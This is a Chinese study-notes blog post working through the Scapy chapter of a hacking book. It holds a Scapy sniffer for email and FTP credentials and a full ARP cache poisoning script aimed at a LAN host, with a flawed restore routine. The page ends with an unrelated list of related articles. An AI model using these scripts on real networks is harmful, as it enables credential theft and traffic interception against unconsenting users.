Scapy:网络掌控者?

哇咔咔,我喜欢!可是我的问题来了,貌似Scapy只支持Python2,那哥哥这Python3咋办呢?

【最新更新:目前scapy目前已经支持Python3了,就不用折腾这个了。】

按照其说明进行安装即可:

pip3 install scapy-python3 # 通过pip直接安装scapy3库

brew install libdnet # 补充安装scapy3需要的libdnet

窃取Email/FTP认证

#!/usr/bin/env python3

# -*- code: utf-8 -*-

from scapy.all import *

# 数据包回调函数

def packet_callback(packet):

#print(packet.show())

if packet[TCP].payload:

mail_packet = str(packet[TCP].payload)

if "user" in mail_packet.lower() or "pass" in mail_packet.lower():

print ("[*] Server: %s" % packet[IP].dst)

print ("[*] %s" % packet[TCP].payload)

# 开启嗅探器

sniff(filter="tcp port 110 or tcp port 25 or tcp port 143 or tcp port 21",prn=packet_callback, store=0,count=0)

# 110(POP3),143(IMAP),25(SMTP),21(FTP)

# store=0 不在内存中保存原始数据包。

代码就这样了,我完全不明白书本上是如何实现账号密码抓取的。(现在的邮箱登录应该都用的是SSL加密),总之我没法重现作者的结果。

最后我加上了FTP的21端口,获取了如下信息。

有些奇奇怪怪的WARNING,我也不大理解到底是什么问题,应该是由于Scapy3尚未完善导致的吧!

利用Scapy进行ARP缓存投毒

这里我将使用mac作为攻击主机,攻击目标为另外一台实体Windows主机。(原本打算攻击运行win7的虚拟机,但不知为何总是无法获取虚拟机的mac地址~)

from scapy.all import *

import os

import sys

import threading

import signal

interface = "en0" # Mac电脑的Wifi网卡

target_ip = "192.168.200.46"

gateway_ip = "192.168.200.1"

packet_count = 1000

poisoning = True

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):

# slightly different method using send

print ("[*] Restoring target...")

send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",

hwsrc=gateway_mac), count=5)

send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",

hwsrc=target_ip), count=5)

def get_mac(ip_address):

responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)

# return the MAC address from a response

for s, r in responses:

return r[Ether].src

return None

def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):

global poisoning

poison_target = ARP()

poison_target.op = 2

poison_target.psrc = gateway_ip

poison_target.pdst = target_ip

poison_target.hwdst = target_mac

poison_gateway = ARP()

poison_gateway.op = 2

poison_gateway.psrc = target_ip

poison_gateway.pdst = gateway_ip

poison_gateway.hwdst = gateway_mac

print ("[*] Beginning the ARP poison. [CTRL-C to stop]")

while poisoning:

send(poison_target)

send(poison_gateway)

time.sleep(2)

print ("[*] APR poison attack finished.")

return

# conf是在scapy库中声明的一个Conf类,在config.py中,不太理解有啥用。

# set our interface

conf.iface = interface

# verb : level of verbosity, from 0 (almost mute) to 3 (verbose)

conf.verb = 0

print( "[*] Setting up %s" % interface)

gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:

print ("[!!!] Failed to get gateway MAC. Exiting.")

sys.exit(0)

else:

print ("[*] Gateway %s is at %s" % (gateway_ip, gateway_mac))

target_mac = get_mac(target_ip)

if target_mac is None:

print ("[!!!] Failed to get target MAC. Exiting.")

sys.exit(0)

else:

print ("[*] Target %s is at %s" % (target_ip, target_mac))

# start poison thread

poison_thread = threading.Thread(target=poison_target,

args=(gateway_ip, gateway_mac, target_ip, target_mac))

poison_thread.start()

try:

print ("[*] Starting sniffer for %d packets" % packet_count)

bpf_filter = "ip host %s" % target_ip # BPF过滤规则

packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)

except KeyboardInterrupt:

pass

finally:

# write out the captured packets

print ("[*] Writing packets to arper.pcap")

wrpcap("arper.pcap", packets)

# get the poison thread to stop

poisoning = False

# wait for poisoning thread to exit

poison_thread.join()

# restore the network

restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

sys.exit(0)

mac上运行结果:

有各种稀奇古怪的提示,各种不理解。

Windows主机上看到的结果:(a0-99-9v-0d-80-63是我Mac的MAC,ha'h)

处理PCAP文件

安装openCV 太费劲了! 这一部分跳过!

scapy python3_【Python3黑帽子学习笔记 on Mac】第四章 Scapy:网络的掌控者相关推荐

  1. 【Java基础学习笔记】- Day11 - 第四章 引用类型用法总结

    Java基础学习笔记 - Day11 - 第四章 引用类型用法总结 Java基础学习笔记 - Day11 - 第四章 引用类型用法总结 4.1 class作为成员变量 4.2 interface作为成 ...

  2. 软考网络管理员学习笔记4之第四章局域网技术

    第四章.局域网技术 考点1.传输介质 [考法分析] 本考点的基本考法是关于双绞线.光纤的概念及使用场景 [要点分析] 1.双绞线的传输范围在100m内,一共有4对芯,其中1,2号芯用于发送数据,3,6 ...

  3. 系统架构师学习笔记_第十四章_连载

    第十四章  基于ODP的架构师实践 14.1  基于ODP的架构开发过程 系统架构 反映了功能在系统系统构件中的 分布.基础设施相关技术.架构设计模式 等,它包含了架构的 原则 和 方法.构件关系 与 ...

  4. The Definitive Guide To Django 2 学习笔记(八) 第四章 模板 (四)基本的模板标签和过滤器...

    标签 下面的部分概述了常见的Django标签. if/else {%if%} 标签 对一个变量值进行测试,如果结果为true,系统将会显示在{%if%} 和 {%endif%}之间的一切,看个例子: ...

  5. python白帽子学习笔记(整合)

    python白帽子学习笔记(整合) 学习笔记目录 python白帽子学习笔记(整合) 前言 一.基础篇 1.正则表达式 2.列表 3.元组带上了枷锁的列表 4.奇葩的内置方法 5.格式化字符 6.序列 ...

  6. 【白帽子学习笔记14】SQL注入常用语句

    [白帽子学习笔记14]SQL注入常用语句 目前网站中使用的最多的数据库要算是 ACCESS.SQL Server(MSSQL).MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 ...

  7. 【白帽子学习笔记11】DVWA Brute Force【暴力破解】

    [白帽子学习笔记11]DVWA Brute Force Brute Force 就是暴力破解的意思,尝试常用的用户名和必然然后使用工具一个一个的去尝试 LOW级别 通过解析源码我们可以发现代码没有任何 ...

  8. Introduction to 3D Game Programming with DirectX 12 学习笔记之 --- 第十五章:第一人称摄像机和动态索引...

    Introduction to 3D Game Programming with DirectX 12 学习笔记之 --- 第十五章:第一人称摄像机和动态索引 原文:Introduction to 3 ...

  9. 菜鸟学习笔记:Java提升篇10(网络2——UDP编程、TCPSocket通信、聊天室案例)

    菜鸟学习笔记:Java提升篇10(网络2--UDP编程.TCPSocket通信) UDP编程 TCP编程(Socket通信) 单个客户端的连接 多个客户端的连接(聊天室案例) UDP编程 在上一篇中讲 ...

最新文章

  1. 双一流博士导师整理:最新的计算机视觉学习路线(含时间分配建议)
  2. POJ-1273(最大流-Augment Path,EK,BFS)
  3. 解决html5 audio iphone,ipd,safari不能自动播放问题
  4. 宝塔php加入环境变量,宝塔面板如何配置 node.js 环境变量
  5. Eclipse之Android项目名有红感叹号的解决办法
  6. python简单爬虫课题_VS2019python爬虫入门
  7. 使用Win7时,出现无法切换电视墙
  8. 往数组里添加键值对_框架都是花哨的东西!js才是根基,分享一下给原生js数组的操作...
  9. 2022研究生电子设计竞赛总结(东北赛区一等奖、国家二等奖)
  10. eclipse下载以及下载web插件速度慢的解决方法
  11. Python入门教程之安装MyEclipse插件和安装Python环境
  12. 基于朴素贝叶斯算法实现情感分类
  13. ps入门第10天_ps色彩平衡ps色相饱和度
  14. [GW-CTF2019] babyvm
  15. 面试必问为什么想做运营?做运营需要具备哪些特质或素质?
  16. Manjaro安装配置指南
  17. python pdf提取数据_python从PDF中提取数据的示例
  18. geoserver离线地图服务搭建和图层发布
  19. Modern PHP读书笔记一
  20. python : 新概念英语 课文转为html

热门文章

  1. javascript代码大全
  2. 2020.11.02 使用OpenCV进行图像水平和垂直线提取 【OpenCV C++】
  3. 谷歌浏览器上传文件、图片、发生崩溃未响应 解决方案
  4. seaborn palette参数各配色方案及显示效果
  5. can‘t find part type item<$OSR_SYMS>
  6. 顺应数字化转型趋势化解“上云”风险,擎天Enclave保障数据安全
  7. 关于获取微信小程序码的“47001”错误码的坑
  8. php网站搬家怎么打包,搬家时打包衣柜的5种方法
  9. 扭矩扭力测量——扭矩传感器
  10. PHP+MySQL实现精确统计网站访问量(IP个数)